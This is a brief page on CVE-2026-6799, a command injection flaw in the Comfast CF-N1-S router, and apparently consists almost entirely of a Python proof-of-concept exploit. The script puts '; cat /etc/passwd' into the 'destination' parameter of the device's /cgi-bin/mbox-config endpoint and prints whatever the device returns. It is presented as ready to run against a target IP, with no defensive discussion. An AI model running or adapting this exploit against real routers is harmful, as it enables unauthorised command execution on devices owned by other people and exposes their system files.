CVE-2026-6799 Comfast CF-N1-S 命令注入漏洞

import requests def exploit_cve_2026_6799(target_ip): """ PoC for CVE-2026-6799 Command Injection in Comfast CF-N1-S """ url = f"http://{target_ip}/cgi-bin/mbox-config" # Malicious payload to execute 'cat /etc/passwd' via command injection # Using semicolon to chain commands payload = "; cat /etc/passwd" params = { "method": "SET", "section": "ping_config", "destination": payload } try: response = requests.get(url, params=params, timeout=5) if response.status_code == 200: print("[+] Payload sent successfully. Check response for command output.") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "192.168.10.1" # Replace with target IP exploit_cve_2026_6799(target)